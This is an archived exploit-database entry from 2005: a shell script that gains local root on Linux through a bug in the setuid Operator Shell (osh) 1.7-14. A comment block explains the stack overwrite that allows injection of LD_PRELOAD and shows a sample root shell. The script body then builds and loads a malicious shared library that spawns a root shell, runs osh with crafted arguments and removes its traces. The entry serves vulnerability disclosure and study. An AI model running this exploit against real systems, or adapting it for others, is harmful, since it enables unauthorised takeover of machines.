Operator Shell (OSH) 1.7-14 - Local Privilege Escalation

EDB-ID:

1300




Platform:

Linux

Date:

2005-11-09


#!/bin/sh
#
# OSH 1.7-14 Exploit
#
# EDUCATIONAL purposes only.... :-)
#
# by Charles Stevenson (core) <core@bokeoa.com>
#
# Description:
# The Operator Shell (Osh) is a setuid root, security enhanced, restricted
# shell. It allows the administrator to carefully limit the access of special
# commands and files to the users whose duties require their use, while
# at the same time automatically maintaining audit records. The configuration
# file for Osh contains an administrator defined access profile for each
# authorized user or group.
#
# Problem discovered and described by Solar Eclipse:
#  
#  main.c:439
#  
#      if (gettoken(env, MAXENV)!=TWORD) {
#        fprintf(stderr,"Illegal or too long environment variable\n");
#        break;
#      }
#      if ((env2=getenv(env))==NULL) {
#        char temp[255];
#        char *temp2;
#  
#        strcpy(temp,env);
#        if ((temp2=(char *)strrchr(temp,'/'))!=NULL) {
#          if (temp2!=temp)
#            *temp2='\0';
#          else
#            *(temp2+1)='\0';
#          if ((env2=getenv(temp))!=NULL) {
#            strcat(env2,"/");
#            strcat(env2,temp2+1);
#          }
#        }
#      }
#  
#  exploit:
#  
#      This code is used to handle substitutions of environmental
#      variables. If the first call to getenv() fails, we might have a case
#      like $VAR/filename, so we find the last '/' character and replace
#      it with '\0'. Then we call getenv() on the shortened variable and
#      append "/filename" to it. The problem is that the return value of
#      getenv() is a NULL terminated string on the stack and by appending
#      to it we will overwriting the data after the string.
#  
#      This bug allows us to overwrite one of the environmental variables
#      passed to the child process. If we set the environmental variable
#      $VAR to the string "a" before executing osh, and then pass
#      "$VAR/LD_PRELOAD=evil.so" as a command line parameter, the above
#      code will overwrite the value of some environmental variable located
#      after $VAR with LD_PRELOAD=evil.so. Then osh will execute an
#      external non-suid program and the code in evil.so will be executed.
#  
#      I have not tested this, but it looks like a really cool bug.
#
# Risk: Medium since user would have to be in the operator group which
#       the admin would have to grant explicitly and I assume would be
#       a trustworthy individual ;-)
#
#       Then again the last two have been classified as "urgency=high"
#       according to Debian policy.  Truly sorry to cause Oohara Yuuma
#       so much work.  You really should orphan this package ;)
#
# Solution:
# apt-get --purge remove osh
#
# greetz to solar eclipse, nemo, andrewg, arcanum, mercy, amnesia, 
# banned-it, capsyl, sloth, ben, KF, akt0r, MRX, salvia, thn
#
# irc.pulltheplug.org (#social)
# 0dd: much <3 & respect
#
# Obligatory screenshot:
#   core@charity:~/hacking/sploits$ dpkg -l osh|grep ^ii
#   ii  osh            1.7-14         Operator's Shell
#   core@charity:~/hacking/sploits$ ./x_osh3.sh 
#   telnet: could not resolve /home/core/LD_PRELOAD=ownall.so/telnet: Name or service not known
#   sh-3.00# id
#   uid=0(root) gid=0(root) groups=0(root)


cd /tmp; cat >ownall.c <<EOF
/* ownall.c by Charles Stevenson (core) <core@bokeoa.com>
 * greetz Solar Eclipse, 0dd, irc.pulltheplug.org (#social) */
#include <stdlib.h>
#include <unistd.h>
int close(int fd) {
  gid_t groupsex = 0; /* osh isn't gettin' any tonight */
  setuid(0); /* Not really needed but make uid root */
  setgid(0); /* Set gid root too! */
  setgroups((size_t)1,&groupsex); /* This makes my pastes cooler looking */
  clearenv(); /* LD_PRELOAD was causing headaches ;) */
  execl("/bin/sh","/bin/sh",NULL);
  return 0;
}
EOF
gcc -shared -o ownall.so ownall.c
osh telnet -l '$USER/LD_LIBRARY_PATH=.' '$HOME/LD_PRELOAD=ownall.so'
rm -f ownall*

# milw0rm.com [2005-11-09]